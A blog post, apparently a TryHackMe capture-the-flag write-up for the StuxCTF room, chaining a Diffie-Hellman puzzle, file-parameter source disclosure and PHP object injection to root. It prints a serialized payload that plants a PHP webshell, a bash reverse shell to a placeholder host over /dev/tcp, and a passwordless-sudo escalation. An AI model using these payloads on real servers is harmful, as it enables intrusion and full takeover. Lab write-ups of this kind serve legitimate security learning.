DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

StuxCTF — TryHackMe Writeup

Platform: TryHackMe

Difficulty: Easy

Category: Web, Cryptography, PHP Object Injection


Overview

StuxCTF chains together several techniques: Diffie-Hellman key exchange to find a hidden directory, Local File Inclusion (LFI) to read PHP source code, and PHP Object Injection for Remote Code Execution. No brute-forcing required — just careful enumeration and connecting the dots.


Reconnaissance

Nmap Scan

nmap -sCV -A 10.49.155.3
Enter fullscreen mode Exit fullscreen mode

Results:

  • 22/tcp — OpenSSH 7.2p2
  • 80/tcp — Apache 2.4.18

Nmap also flagged a robots.txt:

curl http://10.49.155.3/robots.txt
Enter fullscreen mode Exit fullscreen mode
# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow: /StuxCTF/
Enter fullscreen mode Exit fullscreen mode

Two clues immediately: the path /StuxCTF/ and the keyword Diffie-Hellman.


Step 1 — Finding the Hidden Directory (Diffie-Hellman)

Viewing the main page source revealed a hidden HTML comment with Diffie-Hellman parameters:

<!-- p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251; g: 7; a: 330; b: 450; g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617; -->
Enter fullscreen mode Exit fullscreen mode

This is a 3-party Diffie-Hellman setup:

  • p = large prime modulus
  • g = 7 = generator
  • a = 330, b = 450 = two private keys
  • g^c = third party's public key

The shared secret is:

secret = ((g^c)^a)^b mod p
Enter fullscreen mode Exit fullscreen mode

Python script:

#!/usr/bin/env python3

def main():
    p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
    g = 7
    a = 330
    b = 450
    gExpc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617

    gca = pow(gExpc, a, p)
    gcab = pow(gca, b, p)

    # Only print first 128 characters
    print(f'Hidden directory: {str(gcab)[:128]}')

if __name__ == '__main__':
    main()
Enter fullscreen mode Exit fullscreen mode

Output:

Hidden directory: 47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055
Enter fullscreen mode Exit fullscreen mode

Step 2 — The Hidden Directory

Navigating to http://10.49.155.3/47315028.../ showed a simple page with:

  • A heading: "Follow the white rabbit.."
  • An <a href="index.php">Home</a> link
  • A hint in the source: <!-- hint: /?file= -->

Step 3 — Reading the PHP Source via LFI

The ?file= parameter hints at a Local File Inclusion vulnerability. Using it to read index.php:

http://10.49.155.3/<hidden_dir>/?file=index.php
Enter fullscreen mode Exit fullscreen mode

This returned a long hex string. To decode it on Kali:

# Save the hex output to hex.txt, then:
cat hex.txt | xxd -r -p | rev | base64 -d
Enter fullscreen mode Exit fullscreen mode

The encoding chain was: base64 → reverse → hex (so decoding is hex → reverse → base64).

Decoded PHP source (key parts):

class file {
    public $file = "dump.txt";
    public $data = "dump test";
    function __destruct(){
        file_put_contents($this->file, $this->data);
    }
}

$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
    echo "File no Exist!";
}

if($file_name == "index.php"){
    $content = file_get_contents($file_name);
    $tags = array("", "");
    echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}

unserialize(file_get_contents($file_name));
Enter fullscreen mode Exit fullscreen mode

Two critical findings:

  1. unserialize(file_get_contents($file_name)) — fetches any URL or file we pass and deserializes it
  2. The file class __destruct() magic method writes arbitrary content to any file

This is a PHP Object Injection vulnerability.


Step 4 — Exploiting PHP Object Injection

We craft a malicious serialized file object that writes a PHP webshell when deserialized:

echo 'O:4:"file":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}' > test.php
Enter fullscreen mode Exit fullscreen mode

Host it on a local HTTP server:

python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode

Trigger the server to fetch and deserialize our payload:

curl 'http://10.49.155.3/<hidden_dir>/?file=http://<YOUR_IP>:8000/test.php'
Enter fullscreen mode Exit fullscreen mode

Response is File no Exist! — expected, and it confirms the payload was fetched. The __destruct() runs automatically and writes shell.php to the server.


Step 5 — Reverse Shell

Start a netcat listener:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Trigger the reverse shell through the webshell (URL encoding required for special characters):

curl -G "http://10.49.155.3/<hidden_dir>/shell.php" \
  --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1"'
Enter fullscreen mode Exit fullscreen mode

Shell received as www-data.

Upgrade to a stable TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

Step 6 — Privilege Escalation

Checking sudo permissions:

sudo -l
Enter fullscreen mode Exit fullscreen mode
User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: ALL
Enter fullscreen mode Exit fullscreen mode

www-data has unrestricted passwordless sudo — instant root:

sudo su
Enter fullscreen mode Exit fullscreen mode

Flags

User flag (/home/grecia/user.txt):

[redacted]
Enter fullscreen mode Exit fullscreen mode

Root flag (/root/root.txt):

[redacted]
Enter fullscreen mode Exit fullscreen mode

Full Attack Chain

Nmap → robots.txt → /StuxCTF hint + "Diffie-Hellman"
          ↓
Page source → DH parameters in HTML comment
          ↓
Compute 3-party shared secret → first 128 digits = hidden directory
          ↓
Hidden directory → hint: /?file=
          ↓
/?file=index.php → long hex output
          ↓
Decode: hex → reverse → base64 → PHP source code
          ↓
Source reveals: unserialize(file_get_contents($_GET['file']))
          ↓
PHP Object Injection → serialize malicious `file` object
          ↓
Server fetches payload → __destruct() writes shell.php
          ↓
Reverse shell → www-data
          ↓
sudo -l → NOPASSWD: ALL → root ✓
Enter fullscreen mode Exit fullscreen mode

Key Takeaways

  • Never expose DH private keys in HTML comments — a and b must stay secret
  • Never pass user input to unserialize() — always leads to object injection
  • PHP magic methods like __destruct() are dangerous with user-controlled deserialization
  • Principle of least privilegewww-data should never have NOPASSWD: ALL sudo rights

Happy hacking! 🐇 Follow the white rabbit.

Top comments (0)